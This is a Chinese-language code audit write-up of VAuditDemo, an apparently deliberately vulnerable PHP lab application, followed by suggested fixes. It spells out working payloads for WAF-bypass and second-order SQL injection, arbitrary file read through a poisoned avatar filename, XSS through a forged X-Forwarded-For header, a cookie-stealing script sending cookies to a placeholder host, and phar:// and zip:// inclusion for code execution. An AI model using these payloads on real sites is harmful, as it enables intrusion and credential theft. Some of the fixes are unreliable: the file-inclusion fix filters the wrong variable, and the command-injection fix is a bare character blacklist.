简介

先提一嘴,代码审计流程大概可以归结为:把握大局,定向功能,敏感函数参数回溯。

本文也是按照此思路进行,还在最后增加了漏洞修补方法。

本人平时打打CTF也有接触过代码审计,但都是零零散散的知识点。希望借此机会全面提升自己的代码审计能力。共勉!

把握大局

首先看一下目录结构吧。

VAuditDemo
├── about.inc
├── admin //管理员目录及功能
│   ├── captcha.php
│   ├── delCom.php
│   ├── delUser.php
│   ├── index.php
│   ├── logCheck.php
│   ├── login.php
│   ├── manageAdmin.php
│   ├── manageCom.php
│   ├── manage.php
│   ├── manageUser.php
│   └── ping.php
├── css //样式文件存储目录
│   ├── bootstrap.css
│   ├── bootstrap.min.css
│   ├── bootswatch.less
│   ├── bootswatch.min.css
│   └── variables.less
├── footer.php //页首文件
├── header.php //页尾文件
├── images //图片文件存储目录
│   └── default.jpg
├── index.php //入口文件
├── install //安装文件目录
│   ├── install.php
│   └── install.sql
├── js //js文件目录
│   ├── bootstrap.min.js
│   ├── bootswatch.js
│   ├── bsa.js
│   └── check.js
├── messageDetail.php //留言详情文件
├── message.php //留言显示及提交文件
├── messageSub.php //留言提交处理文件
├── search.php //留言查找文件
├── sys //配置文件目录
│   ├── config.php
│   ├── install.lock
│   └── lib.php
├── uploads //文件上传目录
└── user //普通用户目录及功能
├── avatar.php
├── edit.php
├── logCheck.php
├── login.php
├── logout.php
├── regCheck.php
├── reg.php
├── updateAvatar.php
├── updateName.php
├── updatePass.php
└── user.php

总的来说,

1、user目录里大概就是普通用户可以使用的功能了。

2、admin目录大概就是要登陆admin账户才能使用的功能了。

3、sys目录包含一些配置文件还有放一些过滤函数的文件。

4、uploads目录为上传文件存放的目录

5、sess目录(自建)用来存放session文件

6、根目录下有index.php,再看看message*.php大概就是实现留言的文件,search.php顾名思义是查询文件。

这里大家可以自行继续跟一下比较敏感且重要的文件,比如:config.php, lib.php, regCheck.php等等,对所有代码有个大概整体的思路,以便于后续的有针对性地代码审计工作。

我自己也会继续跟,但在这里就不一一细讲了。

定向功能

1、安装功能信息泄露

漏洞所在:/install/install.php



很明显,这块header执行跳转,但是并没有终止代码的运行,所以可以看到部分敏感信息,抓个包试试。



当然,我们更想看到图形界面。那就截获返回的数据包,将状态码改成200,Location去掉即可显示到网页上。



要看密码很简单了,审查元素改为text就行,value里面也有。

## 2、留言详情数字型sql注入
`漏洞所在:messageDetail.php`



payload: 7 un||ion sele||ct *,2 fro||m admin#

这里解释下,sqlwaf里先将union转换成sqlwaf,再将||转换成空。所以我们依据他们的次序构造sql注入。

un||ion => union

这里SELECT * FROM comment WHERE comment_id = 7得到的结果是四列,而联合查询后面的sql得到的结果必须也是4列不然会报错,所以使用*,2多加一列。

至于这里为什么不用admin_username,原因是sqlwaf将下划线_转义成了_会导致注入失败。

## 3、修改用户名越权漏洞
`漏洞所在:updateName.php`





可以看到这里直接获取用户输入的用户名和id,并以此来进行更新,造成水平越权漏洞。

原来的用户名



将admin1的用户名改成hacker





成功越权修改

## 4、管理员命令执行
`漏洞所在:admin/ping.php`



很多管理员页面的功能都是如此,毫无过滤,这里也不例外,直接一把梭就行了

## 5、管理员登陆密码爆破
`漏洞所在:admin/login.php`



可以看到是从session中读取验证码,那么如果我们没有session呢?



可以看到,这里没有验证码也登陆成功了。所以就可以依据此思路爆破密码。

# 敏感函数参数回溯
## 1、任意文件读取
`漏洞所在:user/avater.php`



看到file_get_contents敏感函数,跟一下,看一下变量是否可控。



跟进user/updateAvatar.php



可以看到$_SESSION['avatar'] = $avatar,并且$avatar是可控。

一种思路:抓包改文件名为1∕..∕..∕sys∕config.php,但是这里php文件不能上传。

另一种思路:构造文件名,利用update改变数据库中的avatar,再重新登陆,这样$_SESSION['avatar']就会在数据库中读取被我们污染的$avatar。

执行的sql:UPDATE users SET user_avatar = 'xxxx',user_avatar = '../index.php' WHERE user_name = 'admin1'#.png
filename: ',user_avator = '../index.php' WHERE user_name = 'admin1'#.png



看到第二条,发现没有更改成功。但是还有办法,mysql支持十六进制,我们将user_avator改成十六进制即可。

filename: ',user_avatar = 0x2E2E2F696E6465782E706870 WHERE user_name = 'admin1'#.png



重新登陆一下,看看我们的session文件,成功修改了。



访问avatar.php查看源代码即可得到index.php源码

## 2、注册配合留言进行二次注入
`漏洞所在:user/reg.php + message.phpSub`

注册一个admin\用户,看看数据库的结果。



来分析一下

输入admin\的时候,被转译成admin\,然后经过clean_input的stripslashes编程admin\,在经过clean_input的mysql_real_escape_string又变成admin\,这是前面的\转义了后面的\,且不会写进数据库,所以现在我们的用户名在数据库中就是admin\。



竟然这样,很容易想到,如果读出用户名没有进行再次转移的话,可以造成单引号的转义,我们继续看。

我们知道$_SESSION['username']肯定是登陆后,从数据库读出的用户名,所以我们重新登陆一下。

regCheck.php



我们用户名变成admin\了,那么我们可以再找找有没有利用点,可以把单引号转义的那种。

看看messageSub.php,这里确实的'{$_SESSION['username']}',我们的用户名是admin\,那么得到的结果是'admin',可以将后面的单引号转义



验证一下。

payload:,(select @@datadir),now());#





没问题,转义了一个引号,执行了我们构造的sql语句,成功二次执行。

## 3、ip记录-xss
`漏洞所在:user/logCheck.php + admin/manageUser.php`

还记得我们在admin页面能看到什么吗?用户与评论。

那是否有xss呢?

我们先来看看评论查看页面,看到做了html实体编码,基本是没戏了。



再来看看用户信息查看页面,完全没有过滤。而且经过通读代码我们知道,login_ip我们是可以控制的,基本上是有戏了!

logCheck.php里获取IP的代码是:$ip = sqlwaf(get_client_ip());

这里的sqlwaf完全没有过滤特殊标签的,所以是可以实现xss的。

登陆admin1的时候用x-forwarded-for来伪造ip,得到如下payload

x-forwarded-for: <script>alert(1);</script>





可以看到弹窗了,并且admin1的ip是空的。

常规思路打cookie,当然这里没有

<script>document.write("<img src=http://xxxx?tk="+document.cookie+" />");</script>

再看看能不能csrf添加管理员发现也不可行,因为sqlwaf过滤了or,而表单需要用到form。

## 4、phar协议文件包含
`漏洞所在:index.php`



这里限制了后缀为.inc,但是并没有对module参数进行限制,所以我们能用zip协议或者phar协议来绕过.inc后缀限制执行php代码。

主要步骤:
1.新建一个A1oe.inc,文件内容为 <?php phpinfo();?>。
2.压缩该文件,并该文件名为A1oe.jpg (因为只能上传图片文件)。
3.找到Date时间,并转换为时间戳,得到文件名u_1584257982_A1oe.jpg。 (具体解释看后面)
4.使用zip或者phar伪协议读取文件,执行php代码。
?module=zip://uploads/u_1584257982_A1oe.jpg%23A1oe 或者
?module=phar://uploads/u_1584257982_A1oe.jpg/A1oe

成功看到phpinfo页面。

拓展:

文件命规则是:$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];

我们很容易可以得到Date(上传时打开浏览器的network查看),从而得到文件名。要做的就是将Date转换成时间戳。

echo strtotime('2020-03-15 15:39:42'); //1584257982

zip和phar伪协议宝包含文件参考:https://blog.csdn.net/Fly_hps/article/details/86609730

## 多说一句
依据你的php版本还有中间件(版本)的不同,漏洞数量和利用方式可能会有所不同。
比如我这里用的是php5.4.5是不存在%00截断漏洞的。
所以玩这个demo的时候,可以调整调整环境来玩,我这里只是抛砖引玉,希望大家自己能玩的开心。


# 漏洞修复
## 1、安装问题
```
//install/install.php
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
header( "Location: ../index.php" );
die(); //修复,退出当前脚本,这样就不会执行接下来的代码
}
```
看下结果
![](https://img2020.cnblogs.com/blog/1959623/202003/1959623-20200315214110021-1019140680.png)


## 2、留言详情sql注入
```
//messageDetail.php
$str = str_ireplace( "&&", "sqlwaf", $str ); //替换成sqlwaf,不要替换成空字符
$str = str_ireplace( "||", "sqlwaf", $str );
$str = str_ireplace( "'", "sqlwaf", $str );
```


## 3、越权漏洞
```
//user/updateName.php改变id获取方式
$clean_user_id = clean_input($_POST['id']); 改为
$clean_user_id = $_SESSION['user_id']; //从session文件中读取user_id
```


## 4、命令执行
```
//admin/ping.php加上简单的waf
$target = trim($target);
$waf = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
'%' => '',
'{' => '',
'}' => '',
' '',
'>' => '',
'=' => '',
'/' => '',
'\\' => '',
'?' => '',
'*' => '',
);
$target = str_replace( array_keys( $waf ), $waf, $target );
```


## 5、验证码绕过
```
//同时判断session中是否有验证码即可
if(!empty($_SESSION['captcha']) && (@$_POST['captcha'] !== $_SESSION['captcha'])){
header('Location: login.php');
exit;
}
```


## 6、任意文件读取
```
//从过滤文件名入手
$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
$avatar = sqlwaf($avatar); //直接走一遍sqlwaf
//更简单点把单引号过滤掉,避免执行用户自己构造的sql语句
```


## 7、二次注入
```
//写进session文件时,也要处理从数据库读出的文件
$_SESSION['username'] = clean_input($row['user_name']);
$_SESSION['avatar'] = clean($row['user_avatar']);
//转义反斜杠,避免单引号被转义
```


## 8、XSS
```
//输出ip的时候,同样做html编码
$html_login_ip = htmlspecialchars($users['login_ip']);
echo $html_login_ip;
```


## 9、文件包含
感觉这个功能删除掉,问题好像也不大嘛。
```
//如果实在要保留这个功能,简单的过滤下关键字和关键字符把
if (isset($_GET['module'])){
$module = str_replace(array(":","%",";","phar","zip"), " ", $str);
include($_GET['module'].'.inc');
}
```

VAuditDemo代码审计的更多相关文章

  1. 代码审计VauditDemo程序到exp编写

    要对一个程序做系统的审计工作,很多人都认为代码审计工作是在我们将CMS安装好之后才开始的,其实不然,在安装的时候审计就已经开始了! 一般安装文件为install.php或install/或includ ...

  2. 【代码审计】VAuditDemo 前台搜索功能反射型XSS

    在 search.php中 $_GET['search']未经过任何过滤就被输出 可能存在反射型XSS

  3. 【代码审计】VAuditDemo 前台搜索注入

    在search.php中 $_GET['search']未经过任何过滤传入到$query的执行语句中

  4. 【代码审计】VAuditDemo 后台登录功能验证码绕过

    在 admin/logCheck.php中 $_POST['user']和$_POST['pass'] 未经过任何过滤或者编码处理就传入到$query中,可能存在万能密码绕过机制 但是$pass经过了 ...

  5. 【代码审计】VAuditDemo 文件包含漏洞

    在 index.php中先判断get过来的module是否设置了变量,如果已经设置,则包含module,并与字符串.inc拼接 inc格式一般是图标或者头像格式,因此我们可以初步判断,这个包含应该是基 ...

  6. 【代码审计】VAuditDemo SQL注入漏洞

    这里我们定位 sqlwaf函数 在sys/lib.php中,过滤了很多关键字,但是42 43 44行可以替换为空 比如我们可以 uni||on来绕过过滤

  7. 【代码审计】VAuditDemo 重装漏洞

    一.源码安装漏洞介绍 一般在PHP源码程序都有一个初始安装的功能,如果相关代码没有对参数进行严格过滤,可能会导致攻击者访问安装页面(install.php)或构造数据包,对网站进行重新安装,从而危害网 ...

  8. 【代码审计】VAuditDemo 命令注入漏洞

    一般PHP中可以使用下列函数来执行外部的应用程序或命令 system() exec() passthru() shell_exec() 跟踪$cmd --> 跟进$target,发现传递给tar ...

  9. PHP代码审计中你不知道的牛叉技术点

    一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...

随机推荐

  1. HTML5 history-hash 随机选择彩票

    <!doctype html> <html> <head> <meta charset="utf-8"> <title> ...

  2. HDU 5448 Marisa’s Cake

    给定一个由n个整点构成的凸多边形,求从n个点里任意选不少于3个点组成的所有凸多边形的面积之和,显然整点构成的多边形面积一定是0.5的整数倍,所以题目需要你算出答案的2倍 mod1000000007的值 ...

  3. java学习笔记(1)——有关接口

    接口: interface intf0{ public void doSomething(); } interface intf1{ public void doAnything(); } class ...

  4. DOTNET CORE源码分析之IServiceProvider、ServiceProvider、IServiceProviderEngine、ServiceProviderEngine和ServiceProviderEngineScope

    首先谈一下IServiceProvider IServiceProvider只提供给了一个根据类型获取对象的功能,试想一下IOC总得有一个找到对象,具体如下 public interface ISer ...

  5. Natas0-34 Writeup

    Natas是一个教授服务器端Web安全基础知识的 wargame,通过在每一关寻找Web安全漏洞,来获取通往下一关的秘钥,适合新手入门Web安全. 传送门~ 接下来给大家分享一下,1-34题的Writ ...

  6. Swift:字符串(String)分割之Substring优雅转换

    认识Substring类型 这是一个全新的类型,看类名像是String的子类,但是大家千万别被误导了,Substring并不是String的子类,这是两个不同的类型,但是它们都继承了StringPro ...

  7. GitLab → 搭建私有的版本控制的托管服务平台

    开心一刻 睡着正香,媳妇用力把我晃醒说:“快起来,我爸来了.” 我一下醒了,手脚熟练的把衣服一抱,滚到床底,顺便把鞋也收了进去 媳妇蹲下无奈的说:“快出来!咱俩都结婚半年了.” 我:“对哦,搞习惯了” ...

  8. 基于WxPython的GUI框架toolkit-frame介绍

    源码下载地址:https://download.csdn.net/download/zy0412326/12154342 源码下载地址:https://pan.baidu.com/s/1-s2WaQm ...

  9. SpringBoot(二) SpringBoot核心配置文件application.yml/properties

    我们都知道在Spring中有着application.xml文件对Spring进行相关配置,通过web.xml中的contextConfigLocation指定application.xml文件所在位 ...

  10. eNSP之VLAN设计实验

    0.实验目的 1.掌握基于IP地址的VLAN划分: 2.掌握基于交换机端口VLAN划分: 3.通过网关实现不同VLAN间的通讯; 1.实验环境 环境:eNSP模拟器 版本信息:1.3.00.100 V ...